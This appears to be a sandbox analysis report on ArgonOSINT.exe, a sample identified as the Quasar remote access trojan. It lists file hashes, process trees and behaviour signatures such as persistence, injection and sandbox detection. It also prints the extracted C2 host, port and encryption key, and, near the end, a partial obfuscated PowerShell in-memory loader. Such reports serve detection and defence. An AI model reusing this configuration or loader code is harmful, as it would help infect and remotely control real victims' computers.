Analysis
-
max time kernel
150s -
max time network
150s -
platform
windows11-21h2_x64 -
resource
win11-20240419-en -
resource tags
arch:x64arch:x86image:win11-20240419-enlocale:en-usos:windows11-21h2-x64system -
submitted
04-05-2024 05:06
Behavioral task
behavioral1
Sample
ArgonOSINT.exe
Resource
win10-20240404-en
General
-
Target
ArgonOSINT.exe
-
Size
409KB
-
MD5
c4f70954d48c8653fde31fc63c619fc8
-
SHA1
c2fe0bc4eab66f6cbf19ab3a80817eba8084982e
-
SHA256
dbc30b002dad39a45fdd36c509d854dc931662235886f01ec149cd8cf904ddb5
-
SHA512
1a0db425192d25f1e96ac43a5ae18ff530ef11e2f1526fd6677f4b82b04e212679c347f5647be0d72665e2f587c2824b19d2104c48546eb049ae27fb7470defc
-
SSDEEP
12288:UpyJcC+x6AoV5l+6KprKF/UV6u4W0pDs:kwd+mDsV6u4g
Malware Config
Extracted
quasar
3.1.5
Slave
even-lemon.gl.at.ply.gg:33587
$Sxr-3vDee7FzoJnhqjuE3n
-
encryption_key
BfQu2aop09VkjugTkmuc
-
install_name
$sxr-powershell.exe
-
log_directory
Logs
-
reconnect_delay
1000
-
startup_key
$sxr-powershell
-
subdirectory
Windows
Signatures
-
Quasar payload 2 IoCs
Processes:
resource yara_rule behavioral2/memory/2524-1-0x0000000000BA0000-0x0000000000C0C000-memory.dmp family_quasar C:\Users\Admin\AppData\Roaming\Windows\$sxr-powershell.exe family_quasar -
Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
Processes:
powershell.EXEdescription pid process target process PID 4856 created 652 4856 powershell.EXE winlogon.exe -
Executes dropped EXE 2 IoCs
Processes:
$sxr-powershell.exeinstall.exepid process 4804 $sxr-powershell.exe 4868 install.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
-
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
Processes:
flow ioc 1 ip-api.com -
Drops file in System32 directory 9 IoCs
Processes:
svchost.exepowershell.EXEOfficeClickToRun.exedescription ioc process File opened for modification C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Application-Experience%4Program-Inventory.evtx svchost.exe File opened for modification C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Application-Experience%4Steps-Recorder.evtx svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.EXE File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log powershell.EXE File opened for modification C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Security-Mitigations%4KernelMode.evtx svchost.exe File opened for modification C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Security-Mitigations%4UserMode.evtx svchost.exe File opened for modification C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Application-Experience%4Program-Telemetry.evtx svchost.exe File opened for modification C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Application-Experience%4Program-Compatibility-Troubleshooter.evtx svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules.xml OfficeClickToRun.exe -
Suspicious use of SetThreadContext 1 IoCs
Processes:
powershell.EXEdescription pid process target process PID 4856 set thread context of 2016 4856 powershell.EXE dllhost.exe -
Checks SCSI registry key(s) 3 TTPs 8 IoCs
SCSI information is often read in order to detect sandboxing environments.
Processes:
SystemSettings.exedescription ioc process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001 SystemSettings.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\HardwareID SystemSettings.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002 SystemSettings.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\HardwareID SystemSettings.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000 SystemSettings.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\HardwareID SystemSettings.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000 SystemSettings.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\HardwareID SystemSettings.exe -
Creates scheduled task(s) 1 TTPs 3 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
Processes:
schtasks.exeSCHTASKS.exeschtasks.exepid process 2484 schtasks.exe 4876 SCHTASKS.exe 1472 schtasks.exe -
Enumerates system info in registry 2 TTPs 2 IoCs
Processes:
SystemSettings.exedescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS SystemSettings.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer SystemSettings.exe -
Processes:
Explorer.EXEdescription ioc process Key created \REGISTRY\USER\S-1-5-21-734199974-1358367239-436541239-1000\Software\Microsoft\Internet Explorer\Main Explorer.EXE Set value (int) \REGISTRY\USER\S-1-5-21-734199974-1358367239-436541239-1000\Software\Microsoft\Internet Explorer\Main\DisableFirstRunCustomize = "1" Explorer.EXE Key created \REGISTRY\USER\S-1-5-21-734199974-1358367239-436541239-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch Explorer.EXE Set value (str) \REGISTRY\USER\S-1-5-21-734199974-1358367239-436541239-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running" Explorer.EXE -
Modifies data under HKEY_USERS 55 IoCs
Processes:
powershell.EXEOfficeClickToRun.exesvchost.exedescription ioc process Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor OfficeClickToRun.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe_queried = "1714799295" OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.EXE Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections svchost.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSCategoriesSeverities = "1329 10,1329 50,1329 15,1329 100,1329 6" OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0 OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.EXE Key deleted \REGISTRY\USER\.DEFAULT\SOFTWARE\MICROSOFT\OFFICE\16.0\COMMON\CLIENTTELEMETRY\RULESMETADATA\OFFICECLICKTORUN.EXE\ULSMONITOR OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.EXE Key deleted \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe OfficeClickToRun.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe = "Sat, 04 May 2024 05:08:16 GMT" OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.EXE Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSTagIds0 = "5804129,7202269,17110992,41484365,39965824,7153487,17110988,508368333,17962391,17962392,3462423,3702920,3700754,3965062,4297094,7153421,18716193,7153435,7202265,20502174,6308191,18407617" OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.EXE Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\RulesEndpoint = "https://nexusrules.officeapps.live.com/nexus/rules?Application=officeclicktorun.exe&Version=16.0.12527.20470&ClientId={D58BE88F-A1D6-4E74-8C72-BD63AA01EB3A}&OSEnvironment=10&MsoAppId=37&AudienceName=Production&AudienceGroup=Production&AppVersion=16.0.12527.20470&" OfficeClickToRun.exe -
Modifies registry class 9 IoCs
Processes:
Explorer.EXEApplicationFrameHost.exedescription ioc process Key created \REGISTRY\USER\S-1-5-21-734199974-1358367239-436541239-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\windows.immersivecontrolpanel_cw5n1h2txyewy\ApplicationFrame Explorer.EXE Key created \REGISTRY\USER\S-1-5-21-734199974-1358367239-436541239-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\windows.immersivecontrolpanel_cw5n1h2txyewy\ApplicationFrame\windows.immersivecontrolpanel_cw5n1h2txyewy!mic Explorer.EXE Set value (int) \REGISTRY\USER\S-1-5-21-734199974-1358367239-436541239-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\windows.immersivecontrolpanel_cw5n1h2txyewy\PersistedTitleBarData\windows.immersivecontrolpanel_cw5n1h2txyew = "4294967295" ApplicationFrameHost.exe Set value (int) \REGISTRY\USER\S-1-5-21-734199974-1358367239-436541239-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\windows.immersivecontrolpanel_cw5n1h2txyewy\PersistedTitleBarData\windows.immersivecontrolpanel_cw5n1h2txyew = "4278190080" ApplicationFrameHost.exe Set value (data) \REGISTRY\USER\S-1-5-21-734199974-1358367239-436541239-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\windows.immersivecontrolpanel_cw5n1h2txyewy\ApplicationFrame\windows.immersivecontrolpanel_cw5n1h2txyewy!mic = 2c0000000000000001000000ffffffffffffffffffffffffffffffff28000000000000005803000081020000 Explorer.EXE Key created \REGISTRY\USER\S-1-5-21-734199974-1358367239-436541239-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\windows.immersivecontrolpanel_cw5n1h2txyewy\SplashScreen Explorer.EXE Set value (data) \REGISTRY\USER\S-1-5-21-734199974-1358367239-436541239-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\windows.immersivecontrolpanel_cw5n1h2txyewy\ApplicationFrame\windows.immersivecontrolpanel_cw5n1h2txyewy!mic = f401000040010000 Explorer.EXE Key created \REGISTRY\USER\S-1-5-21-734199974-1358367239-436541239-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\windows.immersivecontrolpanel_cw5n1h2txyewy\PersistedTitleBarData\windows.immersivecontrolpanel_cw5n1h2txyew ApplicationFrameHost.exe Set value (int) \REGISTRY\USER\S-1-5-21-734199974-1358367239-436541239-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\windows.immersivecontrolpanel_cw5n1h2txyewy\PersistedTitleBarData\windows.immersivecontrolpanel_cw5n1h2txyew = "1" ApplicationFrameHost.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
Processes:
powershell.EXEdllhost.exepid process 4856 powershell.EXE 4856 powershell.EXE 4856 powershell.EXE 2016 dllhost.exe 2016 dllhost.exe 2016 dllhost.exe 2016 dllhost.exe 2016 dllhost.exe 2016 dllhost.exe 2016 dllhost.exe 2016 dllhost.exe 2016 dllhost.exe 2016 dllhost.exe 2016 dllhost.exe 2016 dllhost.exe 2016 dllhost.exe 2016 dllhost.exe 2016 dllhost.exe 2016 dllhost.exe 2016 dllhost.exe 2016 dllhost.exe 2016 dllhost.exe 2016 dllhost.exe 2016 dllhost.exe 2016 dllhost.exe 2016 dllhost.exe 2016 dllhost.exe 2016 dllhost.exe 2016 dllhost.exe 2016 dllhost.exe 2016 dllhost.exe 2016 dllhost.exe 2016 dllhost.exe 2016 dllhost.exe 2016 dllhost.exe 2016 dllhost.exe 2016 dllhost.exe 2016 dllhost.exe 2016 dllhost.exe 2016 dllhost.exe 2016 dllhost.exe 2016 dllhost.exe 2016 dllhost.exe 2016 dllhost.exe 2016 dllhost.exe 2016 dllhost.exe 2016 dllhost.exe 2016 dllhost.exe 2016 dllhost.exe 2016 dllhost.exe 2016 dllhost.exe 2016 dllhost.exe 2016 dllhost.exe 2016 dllhost.exe 2016 dllhost.exe 2016 dllhost.exe 2016 dllhost.exe 2016 dllhost.exe 2016 dllhost.exe 2016 dllhost.exe 2016 dllhost.exe 2016 dllhost.exe 2016 dllhost.exe 2016 dllhost.exe -
Suspicious behavior: GetForegroundWindowSpam 1 IoCs
Processes:
Explorer.EXEpid process 3280 Explorer.EXE -
Suspicious use of AdjustPrivilegeToken 37 IoCs
Processes:
ArgonOSINT.exepowershell.EXE$sxr-powershell.exedllhost.exeExplorer.EXESystemSettings.exedescription pid process Token: SeDebugPrivilege 2524 ArgonOSINT.exe Token: SeDebugPrivilege 4856 powershell.EXE Token: SeDebugPrivilege 4804 $sxr-powershell.exe Token: SeDebugPrivilege 4856 powershell.EXE Token: SeDebugPrivilege 2016 dllhost.exe Token: SeShutdownPrivilege 3280 Explorer.EXE Token: SeCreatePagefilePrivilege 3280 Explorer.EXE Token: SeShutdownPrivilege 3280 Explorer.EXE Token: SeCreatePagefilePrivilege 3280 Explorer.EXE Token: SeShutdownPrivilege 3280 Explorer.EXE Token: SeCreatePagefilePrivilege 3280 Explorer.EXE Token: SeShutdownPrivilege 3280 Explorer.EXE Token: SeCreatePagefilePrivilege 3280 Explorer.EXE Token: SeShutdownPrivilege 4660 SystemSettings.exe Token: SeCreatePagefilePrivilege 4660 SystemSettings.exe Token: SeShutdownPrivilege 3280 Explorer.EXE Token: SeCreatePagefilePrivilege 3280 Explorer.EXE Token: SeShutdownPrivilege 3280 Explorer.EXE Token: SeCreatePagefilePrivilege 3280 Explorer.EXE Token: SeShutdownPrivilege 3280 Explorer.EXE Token: SeCreatePagefilePrivilege 3280 Explorer.EXE Token: SeShutdownPrivilege 3280 Explorer.EXE Token: SeCreatePagefilePrivilege 3280 Explorer.EXE Token: SeShutdownPrivilege 3280 Explorer.EXE Token: SeCreatePagefilePrivilege 3280 Explorer.EXE Token: SeShutdownPrivilege 3280 Explorer.EXE Token: SeCreatePagefilePrivilege 3280 Explorer.EXE Token: SeShutdownPrivilege 3280 Explorer.EXE Token: SeCreatePagefilePrivilege 3280 Explorer.EXE Token: SeShutdownPrivilege 3280 Explorer.EXE Token: SeCreatePagefilePrivilege 3280 Explorer.EXE Token: SeShutdownPrivilege 3280 Explorer.EXE Token: SeCreatePagefilePrivilege 3280 Explorer.EXE Token: SeShutdownPrivilege 3280 Explorer.EXE Token: SeCreatePagefilePrivilege 3280 Explorer.EXE Token: SeShutdownPrivilege 3280 Explorer.EXE Token: SeCreatePagefilePrivilege 3280 Explorer.EXE -
Suspicious use of FindShellTrayWindow 13 IoCs
Processes:
SystemSettings.exeExplorer.EXEpid process 4660 SystemSettings.exe 4660 SystemSettings.exe 4660 SystemSettings.exe 4660 SystemSettings.exe 4660 SystemSettings.exe 4660 SystemSettings.exe 4660 SystemSettings.exe 4660 SystemSettings.exe 4660 SystemSettings.exe 4660 SystemSettings.exe 4660 SystemSettings.exe 4660 SystemSettings.exe 3280 Explorer.EXE -
Suspicious use of SendNotifyMessage 14 IoCs
Processes:
SystemSettings.exeExplorer.EXEpid process 4660 SystemSettings.exe 4660 SystemSettings.exe 4660 SystemSettings.exe 4660 SystemSettings.exe 4660 SystemSettings.exe 4660 SystemSettings.exe 4660 SystemSettings.exe 4660 SystemSettings.exe 4660 SystemSettings.exe 4660 SystemSettings.exe 4660 SystemSettings.exe 4660 SystemSettings.exe 3280 Explorer.EXE 3280 Explorer.EXE -
Suspicious use of SetWindowsHookEx 2 IoCs
Processes:
Explorer.EXESystemSettings.exepid process 3280 Explorer.EXE 4660 SystemSettings.exe -
Suspicious use of UnmapMainImage 2 IoCs
Processes:
RuntimeBroker.exeExplorer.EXEpid process 3840 RuntimeBroker.exe 3280 Explorer.EXE -
Suspicious use of WriteProcessMemory 64 IoCs
Processes:
ArgonOSINT.exe$sxr-powershell.exepowershell.EXEdllhost.exedescription pid process target process PID 2524 wrote to memory of 2484 2524 ArgonOSINT.exe schtasks.exe PID 2524 wrote to memory of 2484 2524 ArgonOSINT.exe schtasks.exe PID 2524 wrote to memory of 2484 2524 ArgonOSINT.exe schtasks.exe PID 2524 wrote to memory of 4804 2524 ArgonOSINT.exe $sxr-powershell.exe PID 2524 wrote to memory of 4804 2524 ArgonOSINT.exe $sxr-powershell.exe PID 2524 wrote to memory of 4804 2524 ArgonOSINT.exe $sxr-powershell.exe PID 2524 wrote to memory of 4868 2524 ArgonOSINT.exe install.exe PID 2524 wrote to memory of 4868 2524 ArgonOSINT.exe install.exe PID 2524 wrote to memory of 4868 2524 ArgonOSINT.exe install.exe PID 2524 wrote to memory of 4876 2524 ArgonOSINT.exe SCHTASKS.exe PID 2524 wrote to memory of 4876 2524 ArgonOSINT.exe SCHTASKS.exe PID 2524 wrote to memory of 4876 2524 ArgonOSINT.exe SCHTASKS.exe PID 4804 wrote to memory of 1472 4804 $sxr-powershell.exe schtasks.exe PID 4804 wrote to memory of 1472 4804 $sxr-powershell.exe schtasks.exe PID 4804 wrote to memory of 1472 4804 $sxr-powershell.exe schtasks.exe PID 4856 wrote to memory of 2016 4856 powershell.EXE dllhost.exe PID 4856 wrote to memory of 2016 4856 powershell.EXE dllhost.exe PID 4856 wrote to memory of 2016 4856 powershell.EXE dllhost.exe PID 4856 wrote to memory of 2016 4856 powershell.EXE dllhost.exe PID 4856 wrote to memory of 2016 4856 powershell.EXE dllhost.exe PID 4856 wrote to memory of 2016 4856 powershell.EXE dllhost.exe PID 4856 wrote to memory of 2016 4856 powershell.EXE dllhost.exe PID 4856 wrote to memory of 2016 4856 powershell.EXE dllhost.exe PID 2016 wrote to memory of 652 2016 dllhost.exe winlogon.exe PID 2016 wrote to memory of 708 2016 dllhost.exe lsass.exe PID 2016 wrote to memory of 1012 2016 dllhost.exe svchost.exe PID 2016 wrote to memory of 552 2016 dllhost.exe dwm.exe PID 2016 wrote to memory of 768 2016 dllhost.exe svchost.exe PID 2016 wrote to memory of 764 2016 dllhost.exe svchost.exe PID 2016 wrote to memory of 1084 2016 dllhost.exe svchost.exe PID 2016 wrote to memory of 1128 2016 dllhost.exe svchost.exe PID 2016 wrote to memory of 1160 2016 dllhost.exe svchost.exe PID 2016 wrote to memory of 1228 2016 dllhost.exe svchost.exe PID 2016 wrote to memory of 1292 2016 dllhost.exe svchost.exe PID 2016 wrote to memory of 1304 2016 dllhost.exe svchost.exe PID 2016 wrote to memory of 1408 2016 dllhost.exe svchost.exe PID 2016 wrote to memory of 1456 2016 dllhost.exe svchost.exe PID 2016 wrote to memory of 1576 2016 dllhost.exe svchost.exe PID 2016 wrote to memory of 1640 2016 dllhost.exe svchost.exe PID 2016 wrote to memory of 1668 2016 dllhost.exe svchost.exe PID 2016 wrote to memory of 1688 2016 dllhost.exe svchost.exe PID 2016 wrote to memory of 1760 2016 dllhost.exe svchost.exe PID 2016 wrote to memory of 1804 2016 dllhost.exe svchost.exe PID 2016 wrote to memory of 1864 2016 dllhost.exe svchost.exe PID 2016 wrote to memory of 1896 2016 dllhost.exe svchost.exe PID 2016 wrote to memory of 2028 2016 dllhost.exe svchost.exe PID 2016 wrote to memory of 2036 2016 dllhost.exe svchost.exe PID 2016 wrote to memory of 476 2016 dllhost.exe svchost.exe PID 2016 wrote to memory of 1072 2016 dllhost.exe svchost.exe PID 2016 wrote to memory of 2116 2016 dllhost.exe spoolsv.exe PID 2016 wrote to memory of 2240 2016 dllhost.exe svchost.exe PID 2016 wrote to memory of 2356 2016 dllhost.exe svchost.exe PID 2016 wrote to memory of 2508 2016 dllhost.exe svchost.exe PID 2016 wrote to memory of 2516 2016 dllhost.exe svchost.exe PID 2016 wrote to memory of 2556 2016 dllhost.exe svchost.exe PID 2016 wrote to memory of 2588 2016 dllhost.exe svchost.exe PID 2016 wrote to memory of 2644 2016 dllhost.exe sysmon.exe PID 2016 wrote to memory of 2684 2016 dllhost.exe svchost.exe PID 2016 wrote to memory of 2692 2016 dllhost.exe svchost.exe PID 2016 wrote to memory of 2704 2016 dllhost.exe svchost.exe PID 2016 wrote to memory of 2976 2016 dllhost.exe sihost.exe PID 2016 wrote to memory of 3028 2016 dllhost.exe svchost.exe PID 2016 wrote to memory of 3080 2016 dllhost.exe unsecapp.exe PID 2016 wrote to memory of 3280 2016 dllhost.exe Explorer.EXE -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Windows\system32\winlogon.exewinlogon.exe1⤵
-
C:\Windows\system32\dwm.exe"dwm.exe"2⤵
-
C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{39c212d9-bc40-4e32-8dc7-60a3b426bef0}2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\lsass.exeC:\Windows\system32\lsass.exe1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s nsi1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule1⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:wZeTAnaBqeJh{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$EZyjtktkXGCjtl,[Parameter(Position=1)][Type]$xVUzvVptwL)$WSFlLdmVxgZ=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+'ef'+[Char](108)+'e'+[Char](99)+'t'+[Char](101)+''+[Char](100)+''+[Char](68)+''+[Char](101)+''+[Char](108)+'e'+[Char](103)+''+'a'+''+[Char](116)+''+'e'+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+''+[Char](110)+''+'M'+''+'e'+''+[Char](109)+''+'o'+'r'+[Char](121)+''+[Char](77)+''+[Char](111)+'d'+[Char](117)+''+[Char](108)+''+[Char](101)+'',$False).DefineType(''+[Char](77)+''+[Char](121)+''+[Char](68)+''+'e'+''+[Char](108)+''+[Char](101)+'g'+'a'+'t'+'e'+''+[Char](84)+'y'+[Char](112)+''+[Char](101)+'',''+[Char](67)+'l'+'a'+''+[Char](115)+''+[Char](115)+',Pu'+[Char](98)+''+'l'+''+[Char](105)+''+'c'+','+[Char](83)+''+'e'+'al'+[Char](101)+'d'+','+''+'A'+''+'n'+'s'+[Char](105)+''+[Char](67)+''+'l'+''+'a'+'s'+[Char](115)+',A'+[Char](117)+''+[Char](116)+''+[Char](111)+''+[Char](67)+''+[Char](108)+''+'a'+''+'s'+''+[Char](115)+'',[MulticastDelegate]);$WSFlLdmVxgZ.DefineConstructor(''+[Char](82)+''+'T'+''+[Char](83)+''+[Char](112)+'e'+[Char](99)+'i'+[Char](97)+''+[Char](108)+'N'+'a'+'m'+'e'+''+','+'H'+[Char](105)+''+[Char](100)+''+[Char](101)+''+[Char](66)+'yS'+[Char](105)+'g'+[Char](44)+''+[Char](80)+''+[Char](117)+''+[Char](98)+''+[Char](108)+'i'+[Char](99)+'',[Reflection.CallingConventions]::Standard,$EZyjtktkXGCjtl).SetImplementationFlags(''+[Char](82)+'u'+'n'+''+'t'+''+[Char](105)+''+[Char](109)+'e'+[Char](44)+''+'M'+''+'a'+''+[Char](110)+''+[Char](97)+''+[Char](103)+'e'+[Char](100)+'');$WSFlLdmVxgZ.DefineMethod(''+'I'+''+'n'+'v'+[Char](111)+'ke',